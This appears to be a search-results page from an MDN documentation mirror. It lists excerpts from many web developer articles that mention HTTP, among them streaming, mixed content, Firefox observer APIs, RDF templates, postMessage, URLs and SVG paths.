Live streaming web audio and video - Developer guides
the traditional progressive download method for audio and video on demand: there are several advantages to this: latency is generally lower so media will start playing more quickly adaptive streaming makes for better experiences on a variety of devices media is downloaded just in time which makes bandwidth usage more efficient streaming protocols while static media is usually served over http, there are several protocols for serving adaptive streams; let's take a look at the options.
... http for now, http is by far the most commonly supported protocol used to transfer media on demand or live.
...rtmp comes in various flavours including rtmpe (encrypted), rtmps (secure over ssl/tls) and rtmpt (encapsulated within http requests).
...And 11 more matches
Mixed content - Web security
when a user visits a page served over https, their connection with the web server is encrypted with tls and is therefore safeguarded from most sniffers and man-in-the-middle attacks.
... an https page that includes content fetched using cleartext http is called a mixed content page.
... mixed passive/display content mixed passive/display content is content served over http that is included in an https webpage, but that cannot alter other portions of the webpage.
...And 11 more matches
Intercepting Page Loads - Archive of obsolete content
http observers another common way of detecting and intercepting loads is using http observer topics.
... http notifications are fired for all http requests originating from firefox.
... there are 2 http topics you can listen to, as specified in the observer notifications page: topic description http-on-modify-request called as an http request is made.
...And 10 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
an implementation can also use other transport technologies such as soap-based remote procedure calls, xmlhttprequest interfaces, or dom 3 load.
...this implementation uses xmlhttprequest.
...there are basically two steps in this process: data load: acquisition of information data acquisition can be implemented using javascript and remote procedure calls using soap-based rpc mechanism or using interfaces like xmlhttprequest (currently offered in netscape 7 and internet explorer 6).
...And 10 more matches
Autoconfiguration in Thunderbird
ispdb database url is <https://autoconfig.thunderbird.net/v1.1/>, append domain name, e.g.
... <https://autoconfig.thunderbird.net/v1.1/freenet.de>.
... configuration server at isp given the email address "fred@example.com", thunderbird checks <https://autoconfig.example.com/mail/config-v1.1.xml?emailaddress=fred@example.com> (preferred) and <https://example.com/.well-known/autoconfig/mail/config-v1.1.xml> and the same urls with http (see section ssl below).
...And 10 more matches
Web security
https https (hypertext transfer protocol secure) is an encrypted version of the http protocol.
... http strict-transport-security the strict-transport-security: http header lets a website specify that it may only be accessed using https.
... mixed content an https page that includes content fetched using cleartext http is called a mixed content page.
...And 10 more matches
jpm - Archive of obsolete content
add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
... jpm post --post-url http://localhost:8888/ see using post and watchpost for more information.
... -v --verbose verbose operation: jpm post --post-url http://localhost:8888/ -v jpm watchpost this command packages the add-on as an xpi file then posts it to some url whenever a file in the current working directory changes.
...And 9 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
for version 2.2 an https update link is used while version 2.5 has a regular http link with a hash to verify the file retrieved.
... <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
... the add-on is compatible with --> <em:targetapplication> <rdf:description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> <!-- this is where this version of the add-on will be downloaded from --> <em:updatelink>https://www.mysite.com/foobar2.2.xpi</em:updatelink> <!-- a page describing what is new in this updated version --> <em:updateinfourl>http://www.mysite.com/updateinfo2.2.xhtml</em:updateinfourl> </rdf:description> </em:targetapplication> </rdf:description> </rdf:li> <rdf:li> <rdf:description> <e...
...And 9 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
you can learn more about chromebug and download it at http://getfirebug.com/wiki/index.php/chromebug_user_guide you may also find this extension to be valuable: extension developer https://addons.mozilla.org/firefox/addon/7434 developing extensions: what you need to know let’s delve into chrome, something you’ll need to know about in order to develop extensions.
... listing 1: content for install.rdf <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- unique id for extension.
...change to your name --> <em:creator>gomita</em:creator> <!-- web page address through which extension is distributed --> <em:homepageurl>http://www.xuldev.org/helloworld/</em:homepageurl> <!-- this section gives details of the target application for the extension (in this case: firefox 2) --> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>2.0</em:minversion> <em:maxversion>4.0.0.*</em:maxversion> </description> </em:targetapplicat...
...And 9 more matches
Creating a Microsummary - Archive of obsolete content
beginnings generators are expressed as xml documents whose root element is the <generator> element in the http://www.mozilla.org/microsummaries/0.1 namespace.
... to begin building the generator, create a new empty text file and add an xml declaration and empty <generator> tag to it: <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1"> </generator> giving it a name generators should have name attributes which are arbitrary descriptions of the microsummaries the generator creates.
...since our generator will be creating microsummaries displaying the firefox download count, let's give it the name "firefox download count": <?xml version="1.0" encoding="utf-8"?> <generator xmlns="http://www.mozilla.org/microsummaries/0.1" name="firefox download count"> </generator> adding an xslt transform sheet generators must include an xslt transform sheet (also known as an xslt stylesheet) which transforms the page content into its microsummary.
...And 9 more matches
Simple Example - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> ...
... <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
...the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'.
...And 9 more matches
RDF Datasources - Archive of obsolete content
date http://home.netscape.com/nc-rdf#date date of last visit name http://home.netscape.com/nc-rdf#name title of the page page http://home.netscape.com/nc-rdf#page page name referrer http://home.netscape.com/nc-rdf#referrer referrer of the page url http://home.netscape.com/nc-rdf#url url of ...
...the page visit count http://home.netscape.com/nc-rdf#visitcount number of page visits a typical history list will display a tree with a selection of these fields.
...example 1 : source <tree flex="1" datasources="rdf:history" ref="nc:historyroot"> <treecols> <treecol id="name" label="name" flex="1"/> <treecol id="url" label="url" flex="1"/> <treecol id="date" label="date" flex="1"/> </treecols> <template> <rule> <treechildren> <treeitem uri="rdf:*"> <treerow> <treecell label="rdf:http://home.netscape.com/nc-rdf#name"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#url"/> <treecell label="rdf:http://home.netscape.com/nc-rdf#date"/> </treerow> </treeitem> </treechildren> </rule> </template> </tree> other datasources the tables below list some of the other datasources available with mozilla.
...And 9 more matches
Setting up your own test automation environment - Learn web development
create a new file inside your project directory called google_test.js: give it the following contents, then save it: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; const driver = new webdriver.builder() .forbrowser('firefox') .build(); driver.get('http://www.google.com'); driver.findelement(by.name('q')).sendkeys('webdriver'); driver.sleep(1000).then(function() { driver.findelement(by.name('q')).sendkeys(webdriver.key.tab); }); driver.findelement(by.name('btnk')).click(); driver.sleep(2000).then(function() { driver.gettitle().then(function(title) { if(title === 'webdriver - google search') { console.log('test passed'); } e...
...t the following contents, then save it: const webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; let driver_fx = new webdriver.builder() .forbrowser('firefox') .build(); let driver_chr = new webdriver.builder() .forbrowser('chrome') .build(); searchtest(driver_fx); searchtest(driver_chr); function searchtest(driver) { driver.get('http://www.google.com'); driver.findelement(by.name('q')).sendkeys('webdriver'); driver.sleep(1000).then(function() { driver.findelement(by.name('q')).sendkeys(webdriver.key.tab); }); driver.findelement(by.name('btnk')).click(); driver.sleep(2000).then(function() { driver.gettitle().then(function(title) { if(title === 'webdriver - google search') { console.log('test ...
...est.js, and add the following code to it: var webdriver = require('selenium-webdriver'), by = webdriver.by, until = webdriver.until; var driver = new webdriver.builder() .forbrowser('firefox') .build(); getting the document you want to test to load the page you actually want to test, you use the get() method of the driver instance you created earlier, for example: driver.get('http://www.google.com'); note: see the webdriver class reference for details of the features in this section and the ones below it.
...And 9 more matches
Network request details - Firefox Developer Tools
version: the version of http used.
... http response headers http request headers each section has a disclosure triangle to expand the section to show more information.
... request information the following information is shown only when the section is expanded: scheme: the scheme used in the url host: the server involved in the request filename: the full path to the file requested address: the ip address of the host the following information is shown in both the collapsed and the expanded states: status: the http response code for the request.
...And 9 more matches
Using Service Workers - Web APIs
you’ll also need to serve your code via https — service workers are restricted to running across https for security reasons.
... github is therefore a good place to host experiments, as it supports https.
...(see our promises test example for the source code, or look at it running live.) note: a real service worker implementation would use caching and onfetch rather than the xmlhttprequest api.
...And 9 more matches
Border-image generator - CSS: Cascading Style Sheets
border image generator html content <div id="container"> <div id="gallery"> <div id="image-gallery"> <img class="image" src="https://udn.realityripple.com/samples/2c/fa0192d18e.png" data-stateid="border1"/> <img class="image" src="https://udn.realityripple.com/samples/b8/dacdd63e77.png" data-stateid="border2"/> <img class="image" src="https://udn.realityripple.com/samples/07/1fcc357205.png" data-stateid="border3"/> <img class="image" src="https://udn.realityripple.com/samples/7b/dd37c1d691.png" data-stateid="border4"/> <img class="image" src="https://udn.realityripple.com/samples/a9/b9fff72dab.png" data-stateid="border5...
..."/> <img class="image" src="https://udn.realityripple.com/samples/fb/c0b285d3da.svg" data-stateid="border6"/> </div> </div> <div id="load-actions" class="group section"> <div id="toggle-gallery" data-action="hide"> </div> <div id="load-image" class="button"> upload image </div> <input id="remote-url" type="text" placeholder="load an image from url"/> <div id="load-remote" class="button"> </div> </div> <div id="general-controls" class="group section"> <div class="name"> control box </div> <div class="separator"></div> <div class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" ...
...r */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer; background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right { background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px; background-color: #2c9fc9; border-radius: 5px; ...
...And 9 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
... mpeg-dash hls (http live streaming) in order to adaptively stream media we need to split the media up into chunks.
...for adaptive streaming over http, no special server-side components are required.
...And 9 more matches
Connecting to Remote Content - Archive of obsolete content
« previousnext » using xmlhttprequest xmlhttprequest is an api for transferring xml between a local script and a remote server via http.
... let url = "http://www.example.com/"; let request = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"] .createinstance(components.interfaces.nsixmlhttprequest); request.onload = function(aevent) { window.alert("response text: " + aevent.target.responsetext); }; request.onerror = function(aevent) { window.alert("error status: " + aevent.target.status); }; request.open("get", url, true); request.send(null); in this example we demonstrate how to make a xmlhttprequest call in asynchronous mode.
... you can see that an instance of the xmlhttprequest class is created and it holds all functionality for making a request.
...And 8 more matches
Simple Query Syntax - Archive of obsolete content
here is what it might look like: <template> <vbox class="box-padded" uri="rdf:*"> <image src="rdf:*"/> <label value="rdf:http://purl.org/dc/elements/1.1/title"/> </vbox> </template> there is no <query> or <action> element used.
...after the default query statements are evaluated, the data network will look something like this: (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?1 = http://www.xulplanet.com/rdf/myphotos, ?2 = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the numbers are used here for the variable names, but they are really just randomly generated...
...for example, the label's value attribute has a value of rdf:http://purl.org/dc/elements/1.1/title'.
...And 8 more matches
Advanced Rules - Archive of obsolete content
let's say you have a list of cities described in the following rdf/xml fragment: <rdf:seq about="http://www.xulplanet.com/rdf/weather/cities"> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/paris"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/manchester"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/melbourne"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/kiev"/> </rdf:seq> <rdf:description about="http://www.xulplanet.com/rdf/w...
...to do this, use the member element as in the following: <tree id="citiestree" datasources="weather.rdf" ref="http://www.xulplanet.com/rdf/weather/cities"> <template> <rule> <conditions> <content uri="?list"/> <member container="?list" child="?city"/> </conditions> <rule> <template> </tree> the template builder starts by grabbing the value of the ref attribute, which in this case is http://www.xulplanet.com/rdf/weather/cities.
...thus the parent will be the value of the list variable, which has been set to the root resource 'http://www.xulplanet.com/rdf/weather/cities'.
...And 8 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
here's an example of this kind of usage for ie: <!-- ie only code --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> in the above example, the classid attribute that goes along with the object element points to a "clsid:" urn followed b...
... example of this usage, once again for the macromedia flash plugin: <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>you need flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> in the above example, application/x-shockwave-flash is the flash mime type, and will invoke the netscape-specific flash architecture in mozilla-based browsers.
...thus, in the following example, instead of stopping at the activex control, ie will display the same animation twice since it also understands the mime type for flash: <!-- usage will not work as intended --> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myflash"> <param name="movie" value="javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <object type="application/x-shockwave-flash" data="javascript-to-flash.swf" width="366" height="142" id="myflashnscp"> <param...
...And 8 more matches
What is a URL? - Learn web development
summary with hypertext and http, url is one of the key concepts of the web.
... deeper dive basics: anatomy of a url here are some examples of urls: https://developer.mozilla.org https://developer.mozilla.org/docs/learn/ https://developer.mozilla.org/search?q=url any of those urls can be typed into your browser's address bar to tell it to load the associated page (resource).
...let's see the most important parts using the following url: http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#somewhereinthedocument http is the protocol.
...And 8 more matches
Storage access policy: Block cookies from trackers
browser caches: the http cache, the image cache, and the alternative services (alt-svc) cache are all partitioned for tracking resources, such that each top-level origin will have a separate partition and tracking resources on different top-level origins will be cached separate from each other.
... network connections: tls sessions will not be resumed using a session ticket when an https connection is made to an embedded third-party resource that is classified as a tracker.
... http connection reuse by domains classified as trackers is limited to requests that occur under the same top-level origin.
...And 8 more matches
nsILoginManager
in-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getalllogins([op...
... unsigned long countlogins( in astring ahostname, in astring aactionurl, in astring ahttprealm ); parameters ahostname the hostname to which to restrict searches, formatted as a url.
... for example, "http://www.bar.com".
...And 8 more matches
nsITraceableChannel
netwerk/base/public/nsitraceablechannel.idlscriptable this interface is used to allow intercepting of http traffic.
... it is implemented by nsihttpchannel.
... 1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
...And 8 more matches
Network request list - Firefox Developer Tools
here is a list of all available columns: status: the http status code returned.
... method: the http request method used.
... scheme: the scheme (https/http/ftp/...) of the path requested.
...And 8 more matches
Working with the History API - Web APIs
adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state.
... the referrer will be the url of the document whose window is this at the time of creation of the xmlhttprequest object.
... example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
...And 8 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "arraybuffer"; oreq.onload = function (oevent) { var arraybuffer = oreq.response; // note: not oreq.responsetext if (arraybuffer) { var bytearray = new uint8array(arraybuffer); for (var i = 0; i < bytearray.bytelength; i++) { // do something with each byte in the array } } }; oreq.send(null); you ca...
... var oreq = new xmlhttprequest(); oreq.open("get", "/myfile.png", true); oreq.responsetype = "blob"; oreq.onload = function(oevent) { var blob = oreq.response; // ...
...And 8 more matches
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...with an origin http header) is performed, but no credential is sent (i.e.
... no cookie, x.509 certificate, or http basic authentication).
...And 8 more matches
Microformats - HTML: Hypertext Markup Language
for example if they wanted to identify themselves they could use an h-card such as: html example <a class="h-card" href="http://alice.example.com">alice blogger</a> when a parser encounters this data, it will know that this page contains a "card" which describes a person or organization named alice blogger with a url of http://alice.example.com/.
... the value of each property is defined in html using the class property any element can carry example h-card <p class="h-card"> <img class="u-photo" src="http://example.org/photo.png" alt="" /> <a class="p-name u-url" href="http://example.org">joe bloggs</a> <a class="u-email" href="mailto:joebloggs@example.com">joebloggs@example.com</a>, <span class="p-street-address">17 austerstræti</span> <span class="p-locality">reykjavík</span> <span class="p-country-name">iceland</span> </p> property description p-name the fu...
...the person or organization u-url home page or other url representing the person or organization u-uid universally unique identifier, preferably canonical url p-street-address street number + name p-locality city/town/village p-country-name country name nested h-card example <div class="h-card"> <a class="p-name u-url" href="http://blog.lizardwrangler.com/" >mitchell baker</a> (<a class="p-org h-card" href="http://mozilla.org/" >mozilla foundation</a>) </div> parsed json: { "items": [{ "type": ["h-card"], "properties": { "name": ["mitchell baker"], "url": ["http://blog.lizardwrangler.com/"], "org": [{ "value": "mozilla foundation", "type": ["h-card"], "properties": { "nam...
...And 8 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg"> <!-- more tags here --> </svg> the namespace declaration is provided by the xmlns parameter.
... this parameter says that the <svg> element and its child elements belong to whichever xml dialect has the namespace name 'http://www.w3.org/2000/svg' which is, of course, svg.
... <html xmlns="http://www.w3.org/1999/xhtml"> <body> <!-- some xhtml tags here --> <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="200px"> <!-- some svg tags here --> </svg> <!-- some xhtml tags here --> </body> </html> in this example the xmlns parameter on the root <html> element declares the default namespace to be xhtml.
...And 8 more matches
Introduction to using XPath in JavaScript - XPath
there is no way in xpath to pick up the default namespace as applied to a regular element reference (e.g., p[@id='_myid'] for xmlns='http://www.w3.org/1999/xhtml').
... to match default elements in a non-null namespace, you either have to refer to a particular element using a form such as ['namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid'] (this approach works well for dynamic xpath's where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace.
... <?xml version="1.0"?> <people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" > <person> <name first="george" last="bush" /> <address street="1600 pennsylvania avenue" city="washington" country="usa"/> <phonenumber>202-456-1111</phonenumber> </person> <person> <name first="tony" last="blair" /> <address street="10 downing street" city="london" country="uk"/> <phonenumber>020 7925 0918</phonenumber> </p...
...And 8 more matches
url - Archive of obsolete content
isvaliduri("http://mozilla.org") would return true, whereas isvaliduri("mozilla.org") would return false.
... var urls = require("sdk/url"); console.log(urls.gettld("http://www.bbc.co.uk/")); // "co.uk" console.log(urls.gettld("https://developer.mozilla.org/")); // "org" parameters url : string the url, as a string.
...for example: var url = require("sdk/url").url("https://developer.mozilla.org/add-ons?example=true&visible=yes#top"); console.log(url.scheme); // https userpass the username:password part of the url, null if not present.
...And 7 more matches
Finding window handles - Archive of obsolete content
another technique is to use the accessibility framework, see for example http://developer.mozilla.org/en/docs..._of_interfaces another way to find a window handle...
...comparing to the method above, by using this method, you don't have to compile your component with nsiwidget.h and other bunchs of h files that should not be exposed to outside, and could change every time firefox updates, all you need is nsibasewindow.idl(it's not in gecko_sdk, get this from the latest firefox source, or http://mxr.mozilla.org/mozilla/sourc...basewindow.idl), and use xpidl to compile it to .h file, although that's stll a unfrozen interface, but it should be a lot better.
... that means if you use the top level nsibasewindow as a param, null will be returned in the chain and cause crash of firefox, that's a bug of firefox.(https://bugzilla.mozilla.org/show_bug.cgi?id=489045) now, let's move forward.
...And 7 more matches
RDF Modifications - Archive of obsolete content
for instance, an assert call looks like the following: var source = rdf.getresource("http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"); var predicate = rdf.getresource("http://purl.org/dc/elements/1.1/description"); var target = rdf.getliteral("one of the thirty or so egyptian obelisks"); datasource.assert(source, predicate, target, true); the assert call adds a new triple to the rdf datasource.
... subject: http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg predicate: http://purl.org/dc/elements/1.1/description object: one of the thirty or so egyptian obelisks the template builder will be notified through the rdf observer mechanism of the change.
...let's assume we have single query with as follows: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/description" object="?description"/> </query> these query statements will cause any photos with both a title and a description to be displayed.
...And 7 more matches
RDF Query Syntax - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <rule> ...
...the seed result will be created like this: (?start = http://www.xulplanet.com/rdf/a) the variable ?start is determined from the tag's 'uri' attribute.
...the value of ?start is set to 'http://www.xulplanet.com/rdf/a'.
...And 7 more matches
Using Remote XUL - Archive of obsolete content
for apache, you can do this by adding the following line to your mime.types file: application/vnd.mozilla.xul+xml .xul alternately, add this line to your httpd.conf file or, if the apache server is configured to allow it, to the .htaccess file in the directory from which the xul file is served: addtype application/vnd.mozilla.xul+xml .xul then restart your web server.
... <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" /> a xul document requires only two entities to be valid, an xml processing instruction on the first line that identifies the file as xml, and a window element that defines a xul application window (or in this case web page).
... <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <iframe src="https://www.mozilla.org/" flex="1" /> </window> the xul iframe element is just like its html counterpart: it defines an area within which web content can be displayed.
...And 7 more matches
RDF in Mozilla FAQ - Archive of obsolete content
start at http://www.dmoz.org/ for more information on the open directory.
...var ds = rdf.getdatasource("http://www.mozilla.org/some-rdf-file.rdf"); // note that ds will load asynchronously, so assertions will not // be immediately available alternatively, you can create one directly using the xpcom component manager, as the following code fragment illustrates: // create an rdf/xml datasource using the xpcom component manager var ds = components .classes["@mozilla.org/rdf/datasource;1?name=xml-dat...
...remote.init("http://www.mozilla.org/some-rdf-file.rdf"); // make it load!
...And 7 more matches
Creating hyperlinks - Learn web development
<p>i'm creating a link to <a href="https://www.mozilla.org/">the mozilla homepage</a>.
... <p>i'm creating a link to <a href="https://www.mozilla.org/" title="the best place to find more information about mozilla's mission and how to contribute">the mozilla homepage</a>.
... <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more about using images on the web in a future article.
...And 7 more matches
From object to iframe — other embedding technologies - Learn web development
mlsolution; solution.value = 'show solution'; updatecode(); }); solution.addeventlistener('click', function() { if(solution.value === 'show solution') { textarea.value = solutionentry; solution.value = 'hide solution'; } else { textarea.value = userentry; solution.value = 'show solution'; } updatecode(); }); const htmlsolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/qh2-tgulwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3a0xf82fddd1e49fc0a1!2sthe+lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="bo...
...say you wanted to include the mdn glossary on one of your web pages — you could try something like this: <iframe src="https://udn.realityripple.com/docs/glossary" width="100%" height="500" frameborder="0" allowfullscreen sandbox> <p> <a href="https://udn.realityripple.com/docs/glossary"> fallback link for browsers that don't support iframes </a> </p> </iframe> this example includes the basic essentials needed to use an <iframe>: allowfullscreen if set, the <iframe> is able to b...
... use https https is the encrypted version of http.
...And 7 more matches
Index - Learn web development
beginner, infrastructure, needsactivelearning, url, resources, urls with hypertext and http, url is one of the key concepts of the web.
... for example, take the following line of content: 40 how the web works beginner, client, dns, http, ip, infrastructure, learn, server, tcp, l10n:priority this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background.
... 59 fetching data from the server api, article, beginner, codingscripting, fetch, json, javascript, learn, promises, server, xhr, xml, xmlhttprequest, data, request this article shows how to start working with both xhr and fetch to fetch data from the server.
...And 7 more matches
Observer Notifications
data is a string form of the origin (for use in security checks), eg "http://developer.mozilla.org".
... http requests these are the topics that you can observe during a http request (see setting http request headers and creating sandboxed http connections).
... both are passed an nsihttpchannel as the subject parameter.
...And 7 more matches
Writing WebSocket servers - Web APIs
this article assumes you're already familiar with how http works, and that you have a moderate level of programming experience.
...websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a reverse proxy (such as a regular http server) to detect websocket handshakes, pre-process them, and send those clients to a real websocket server.
...it's the bridge from http to websockets.
...And 7 more matches
window.postMessage() - Web APIs
the dispatched event otherwindow can listen for dispatched messages by executing the following javascript: window.addeventlistener("message", receivemessage, false); function receivemessage(event) { if (event.origin !== "http://example.org:8080") return; // ...
...examples of typical origins are https://example.org (implying port 443), http://example.net (implying port 80), and http://example.com:8080.
...any window (including, for example, http://evil.example.com) can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages.
...And 7 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
WebHTMLElementvideo
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...in other words, it sends the origin: http header without a cookie, x.509 certificate, or performing http basic authentication.
... if the server does not give credentials to the origin site (by not setting the access-control-allow-origin: http header), the image will be tainted, and its usage restricted.
...And 7 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
for example: <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <path d="m10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> </svg> there are three commands that draw lines.
... <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 10 h 90 v 90 h 10 l 10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> <circle cx="90" cy="90" r="2" fill="red"/> <circle cx="90" cy="10" r="2" fill="red"/> <circle cx="10" cy="90" r="2" fill="red"/> </svg> we can shorten the above path declaration a little bit by using the "close path" command, called with z.
... <svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 10 c 20 20, 40 20, 50 10" stroke="black" fill="transparent"/> <path d="m 70 10 c 70 20, 110 20, 110 10" stroke="black" fill="transparent"/> <path d="m 130 10 c 120 20, 180 20, 170 10" stroke="black" fill="transparent"/> <path d="m 10 60 c 20 80, 40 80, 50 60" stroke="black" fill="transparent"/> <path d="m 70 60 c 70 80, 110 80, 110 60" stroke="blac...
...And 7 more matches
Same-origin policy - Web security
